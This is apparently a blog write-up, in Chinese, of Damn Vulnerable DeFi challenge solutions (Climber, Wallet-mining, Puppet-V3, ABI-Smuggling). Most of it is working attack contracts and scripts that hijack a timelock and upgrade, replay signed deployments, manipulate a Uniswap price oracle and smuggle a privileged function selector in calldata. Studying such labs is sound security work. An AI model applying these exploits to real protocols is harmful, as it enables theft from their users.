SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this)));
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) private {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _updateLastWithdrawalTimestamp(uint256 timestamp) private {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}

同时,我发现不能直接将propose动作打包进去,因为会有一个循环依赖的过程(我生我自己),所以需要推举攻击合约为proposer,并通过call让攻击合约提案。

攻击合约如下,其实写的有点啰嗦,生成payload的过程是可以放一起的。但就这样吧!

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ClimberTimelock.sol";
import "hardhat/console.sol";
import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";
contract HackerClimber {
ClimberTimelock timeClock;
address upgrade;
address vault;
address token;
address owner;
constructor(address _target,
address _upgrade,
address _vault,
address _token
){
timeClock = ClimberTimelock(payable(_target));
upgrade = _upgrade;
vault = _vault;
token = _token;
owner = msg.sender;
}
function attack() public{
console.log( timeClock.delay() );
address[] memory targets = new address[](5);
uint[] memory values = new uint[](5);
bytes[] memory calldatas = new bytes[](5);
targets[0] = address(timeClock);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature(
"grantRole(bytes32,address)",
PROPOSER_ROLE,
address(this)
);
targets[1] = address(timeClock);
values[1] = 0;
calldatas[1] = abi.encodeWithSignature(
"updateDelay(uint64)",
0
);
targets[2] = vault;
values[2] = 0;
calldatas[2] = abi.encodeWithSignature(
"upgradeTo(address)",
upgrade
);
targets[3] = address(this);
values[3] = 0;
calldatas[3] = abi.encodeWithSignature(
"attack2()"
);
targets[4] = vault;
values[4] = 0;
calldatas[4] = abi.encodeWithSignature(
"withdraw(address,address,uint256)",
token,
owner,
0
);       
timeClock.execute(targets, values, calldatas, "");
console.log( timeClock.delay() );
}
function attack2() external {
console.log("scheduled");
console.log( timeClock.delay() );
address[] memory targets = new address[](5);
uint[] memory values = new uint[](5);
bytes[] memory calldatas = new bytes[](5);
targets[0] = address(timeClock);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature(
"grantRole(bytes32,address)",
PROPOSER_ROLE,
address(this)
);
targets[1] = address(timeClock);
values[1] = 0;
calldatas[1] = abi.encodeWithSignature(
"updateDelay(uint64)",
0
);
targets[2] = vault;
values[2] = 0;
calldatas[2] = abi.encodeWithSignature(
"upgradeTo(address)",
upgrade
);
targets[3] = address(this);
values[3] = 0;
calldatas[3] = abi.encodeWithSignature(
"attack2()"
);
targets[4] = vault;
values[4] = 0;
calldatas[4] = abi.encodeWithSignature(
"withdraw(address,address,uint256)",
token,
owner,
0
);
timeClock.schedule(targets, values, calldatas, "");
}
}

实际操作见test/climber/climber.challenge.js

    it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const upgradeContract = await (await ethers.getContractFactory('UpgradeClimberVault', player)).deploy(
);
console.log("upgradeContract Inited ... : ",upgradeContract.address);
const hacker = await (await ethers.getContractFactory('HackerClimber', player)).deploy(
timelock.address,
upgradeContract.address,
vault.address,
token.address
);
hacker.connect(player).attack();
});

13. Wallet-mining

解决思路:

查看最后要求,首先发现要求我们要能够部署(没有私钥)factorymastercopy合约,且还要在同一个地址。

我们先解决这一问题

        // Factory account must have code
expect(
await ethers.provider.getCode(await walletDeployer.fact())
).to.not.eq('0x');

这可能吗?我记得合约地址如果通过CREATE来计算:

addr = hash(msg.sender, nonce)

如果是CREATE2,则是

addr = hash("oxff",msg.sender,salt,calldata)

以上表明合约是可以创建出来的,并在创建之前已经可以知道其地址,这使得跨链服务成为可能。

但我们创建合约的player很明显也不是链上创建者的地址,能做到吗?

OP丢失了价值2000万美元的OP通证,这里主要问题就是重放攻击!

但为什么能重放呢,这是因为在创建合约时,发出的经过签名的data未经过EIP155保护,不含有ChainId,因此简单重放就能假冒受害者完成该nonce下的部署。(部署合约需要使用sendRawTransaction发送已签名的交易数据。因为部署合约的交易是一笔特殊的交易类型,需要在交易数据中包含新合约的字节码,以及其他合约初始化参数。这些信息需要通过部署合约前的合约编译得到,然后使用私钥对交易数据进行签名,并将签名后的交易数据发送给以太坊网络进行处理。而RPC节点会通过RLP反序列化反推出公钥、地址等信息,从而可以实现冒充)。再补充一下(一旦交易被签名后,交易数据就不可更改,直到交易被打包进区块中。当交易到达 RPC 节点时,节点会验证交易的签名是否有效,并将交易解析为 RLP 格式,然后将其广播到整个网络中。在这个过程中,签名是不会被修改的。RLP 格式包含交易的各个字段,包括发送方地址。)

我们先从etherscan上找到raw data(more -> get Raw transaction Hash),随后在test/wallet-mining/wallet-mining.challenge.js中进行攻击:

        console.log("player address is %s",player.address);
const deployCode = require("./deployCode.json");
const victim = "0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a";
await player.sendTransaction(
{
to : victim,
value : ethers.utils.parseEther("1")
}
);
console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));
console.log("deploying safe ...");
const deployCopy = await (await ethers.provider.sendTransaction(deployCode.copy)).wait();
console.log("Success! Safe deployed at %s",deployCopy.contractAddress);
console.log("random Transaction");
(await ethers.provider.sendTransaction(deployCode.random)).wait();
console.log("deploying factory ...");
const deployFac = await (await ethers.provider.sendTransaction(deployCode.fact)).wait();
console.log("Success! Fac deployed at %s",deployFac.contractAddress);
console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));

此时,尽管是player假冒,但扣的依旧是victim的ETH,这就是签名重放的危害。(切记一定要注意顺序,因为nonce仍是victim的地址)。

我们接下来的传入不会通过WalletDeployer进行,因为它创建proxy时所指定的逻辑地址是copy。而我们则是想转账回去,所以我们自己手写攻击合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
contract HackerWalletMining1 {
constructor(){
}
function tryHack(IERC20 token,address receiver) public{
if (token.balanceOf(address(this))!=0){
console.log("attacking...");
token.transfer(receiver,token.balanceOf(address(this)));
console.log("finish transfering");
}
}
}

很明显,我们要通过proxyFactory生成合约,如果对应token有余额,则我们会进行转出。

        const hacker1 = await (await ethers.getContractFactory('HackerWalletMining1', player)).deploy();
const calldata = hacker1.interface.encodeFunctionData(
"tryHack(address,address)",[token.address,player.address]
);
const factory = (await ethers.getContractFactory("GnosisSafeProxyFactory")).attach(deployFac.contractAddress);
console.log("Get Factory instance : %s",factory.address);
for (i = 0; i < 100; i++){
await factory.connect(player).createProxy(hacker1.address,calldata);
}

很幸运,我们已经从空闲地址转移出来了通证,下面就是试着拿到walletDeployer中的43个通证了。这个切入点就是看看能不能将合约升级,can返回值永远通过!

我们发现AuthorizerUpgradeable的逻辑合约尚未初始化,所以我们可以初始化并升级合约。但要升级成什么样子?由于walletDeployer中通过staticCall获取信息:

        assembly { 
let m := sload(0)
if iszero(extcodesize(m)) {return(0, 0)}
let p := mload(0x40)
mstore(0x40,add(p,0x44))
mstore(p,shl(0xe0,0x4538c4eb))
mstore(add(p,0x04),u)
mstore(add(p,0x24),a)
if iszero(staticcall(gas(),m,p,0x44,p,0x20)) {return(0,0)}
if and(not(iszero(returndatasize())), iszero(mload(p))) {return(0,0)}
}

如果我们将合约自毁,就可以绕过这里面的限制。从而有

console.log(await walletDeployer.callStatic.can(player.address,DEPOSIT_ADDRESS)); // True!!!

所以我们编写自毁合约HackerWalletMining2

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "hardhat/console.sol";
contract HackerWalletMining2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {
constructor(){
}
function hack(address receiver) public{
console.log("destruct");
selfdestruct(payable(receiver));
}
function upgradeToAndCall(address imp, bytes memory wat) external payable override {
_authorizeUpgrade(imp);
_upgradeToAndCallUUPS(imp, wat, true);
}
function _authorizeUpgrade(address imp) internal override onlyOwner {}
}

然后我们在test/wallet-mining/wallet-mining.challenge.js中编写,这里我们通过init获取到逻辑合约的权限,并通过upgradeToAndCall完成自毁。

此时就可以绕过walletDeployer的检查。从而通过发送setup(要求,前面有提过)通过WalletDeployer创建合约并绕过检查。

const logicContract = (await ethers.getContractFactory("AuthorizerUpgradeable")).attach(logicContractAddress);
await logicContract.connect(player).init([],[]);
const hacker2 = await (await ethers.getContractFactory('HackerWalletMining2', player)).deploy();
console.log("hacker 2 contract deployed : %s",hacker2.address);
const calldata2 = hacker2.interface.encodeFunctionData(
"hack(address)",[player.address]
);
console.log(calldata2);
await logicContract.connect(player).upgradeToAndCall(hacker2.address,calldata2);
// configure setup
const calldata3 = new ethers.utils.Interface(["function setup(address[] calldata _owners, uint256 _threshold, address to, bytes calldata data, address fallbackHandler, address paymentToken, uint256 payment, address payable paymentReceiver)"])
.encodeFunctionData(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
[[player.address],
1,
"0x0000000000000000000000000000000000000000",
0,
"0x0000000000000000000000000000000000000000",
"0x0000000000000000000000000000000000000000",
0,
"0x0000000000000000000000000000000000000000",]
);
console.log("success configured calldata3 ", calldata3);
for (i = 0; i < 43 ; i++){
await walletDeployer.connect(player).drop(calldata3);
}

14. Puppet – V3

解题思路:

Uniswap V3 喂价采用的是time-weighted average price(TWAP),即随着时间比重算出加权后的价格。所以很明显,在同一笔交易内是不可能完成的了,因此闪电贷的思路可以歇歇了。

整体思路不变,先“砸盘”,等价格下来了(过一段时间),再借不迟!

我们还是先找到uniswap的Router为0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45。同时为了能够生成实例,安装依赖npm install @uniswap/swap-router-contracts

选用exactInputSingle函数进行交换(已经存在相关的池子)。进行砸盘,并通过轮询,找到合适的价格并入场。

test/puppet-v3/puppet-v3.challenge.js中攻击如下,在110s左右价格就达到了合适的入场点位。

    it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
console.log("before Swapping...");
console.log("token : %s", await token.balanceOf(player.address));
console.log("ETH : %s", await ethers.provider.getBalance(player.address));
console.log("WETH : %s", await weth.balanceOf(player.address));
const routerAddr = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45";
const routerJson = require('@uniswap/swap-router-contracts/artifacts/contracts/SwapRouter02.sol/SwapRouter02.json');
const router = new ethers.Contract(routerAddr, routerJson.abi, player);
console.log("router created ... %s", router.address );
await token.connect(player).approve(router.address,PLAYER_INITIAL_TOKEN_BALANCE);
await router.connect(player).exactInputSingle(
[
token.address,
weth.address,
3000,
player.address,
PLAYER_INITIAL_TOKEN_BALANCE,
0,
0
]
)
console.log("before Swapping...");
console.log("token : %s", await token.balanceOf(player.address));
console.log("ETH : %s", await ethers.provider.getBalance(player.address));
console.log("WETH : %s", await weth.balanceOf(player.address));
const value = BigNumber.from(await weth.balanceOf(player.address));
for (i = 1; i < 115; i++){
time.increase(1);
const needToDeposit = await lendingPool.callStatic.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
console.log("after %s seconds",i);
console.log(value);
console.log(needToDeposit);
if (value.gt(needToDeposit)){
console.log("exit",i);
break;
}
}
time.increase(3);
await weth.connect(player).approve(lendingPool.address,await weth.balanceOf(player.address));
await lendingPool.connect(player).borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
});

V3 能有效防止价格操纵。。因为随着时间的增加,进入了多人博弈。


15 ABI-Smuggling

解决思路:

检查传入的id

        console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));
console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));

可知,player允许withdrawdeployer则是sweep。仔细检查,·发现问题可能出现在execute函数中。

    function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}

这里先计算出calldataOffset从而获取selector,从而验证用户是否具有权限。最后再进行target.functionCall。但用这样解构actionData有没有漏洞呢,我们又没有办法可以实现偷梁换柱呢?

在调用execute时,整体callData如下(注意actionData是):

FS (4 bytes)函数选择器(Selector)0xaaaaaaaa
0x00 (32 bytes)target(address)
0x20 (32 bytes)actiondata location0x40
0x40 (32 bytes)actiondata length
0x60actiondata contens

uint256 calldataOffset = 4 + 32 * 3;实际上就是赵的actiondata开头的bytes4

这是建立在actiondata location正确指向actiondata length,两者被正确pack的情况。如果我们在locationactiondatalength中间插入一段无意义字节,但仍能够正确指向,evm依旧能够正确识别!(此时不在slot里,不需要严格按照slot 32字节对齐,但最后一定要是32的整数,能够对齐)。

最终生成,详细信息见注释:

0x1cff79cd // execute
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512  // address(vault)
0000000000000000000000000000000000000000000000000000000000000064  // 32 + 32 + 32 + 4 =100 = 0x64(不算一开始的execute)
0000000000000000000000000000000000000000000000000000000000000000  // random 0 paading (fixed 32 b)
d9caed12 // withdraw
0000000000000000000000000000000000000000000000000000000000000044  // calldata size (4 + 32 + 32 = 68 = 0x44)
85fb709d // sweep
0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc // recovery.address
0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3 // token.address
000000000000000000000000000000000000000000000000 // 补全0

具体生成过程见test/abi-smuggling/abi-smuggling.challenge.js

    it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));
console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));
const executeSig = await vault.interface.getSighash(
await vault.interface.getFunction("execute")
);
console.log(executeSig);
const vaultAddr = await ethers.utils.hexZeroPad(
vault.address,
32
);
console.log(vaultAddr);
const randoms = await ethers.utils.hexZeroPad(
"0x0",
32
);
console.log(randoms);
// length 32*2 + 4 = 68 = 0x44
const actionDataContent = await vault.interface.encodeFunctionData(
"sweepFunds(address,address)",
[recovery.address,
token.address]
);
console.log(actionDataContent);
const actionDataLength = await ethers.utils.hexZeroPad(
"0x44",
32
);
const withdraw = await vault.interface.getSighash(
await vault.interface.getFunction("withdraw")
);
// 32 bytes + 32 bytes + 32bytes + 4 bytes = 100 bytes = 0x64
const  actionDataStore = await ethers.utils.hexZeroPad(
"0x64",
32
)
// 32 + 32 + 4 + 32 + 100 + 24 = 224 = 32 * 7 
const padding  = await ethers.utils.hexZeroPad(
"0x0",
24
);
const action = await ethers.utils.hexConcat(
[actionDataStore, randoms, withdraw, actionDataLength, actionDataContent,padding]
);
const calldata = await ethers.utils.hexConcat(
[executeSig,vaultAddr,action]
);
console.log(calldata);
await player.sendTransaction({
to: vault.address,
data : calldata
});
});

总结

很开心,完成了Damn Vulnerable Defi的挑战。区块链安全真的内容很多,充满机会,但也是黑暗森林,不得不防守。接下来,我会开展DefiHackLabs的分享。欢迎关注!

BTW,我目前也有想换一个工作环境,Open to Opportunities!

本站无任何商业行为
个人在线分享 » [区块链安全-Damn_Vulnerable_DeFi]区块链DeFi智能合约安全实战(V3.0.0)(已完结)
E-->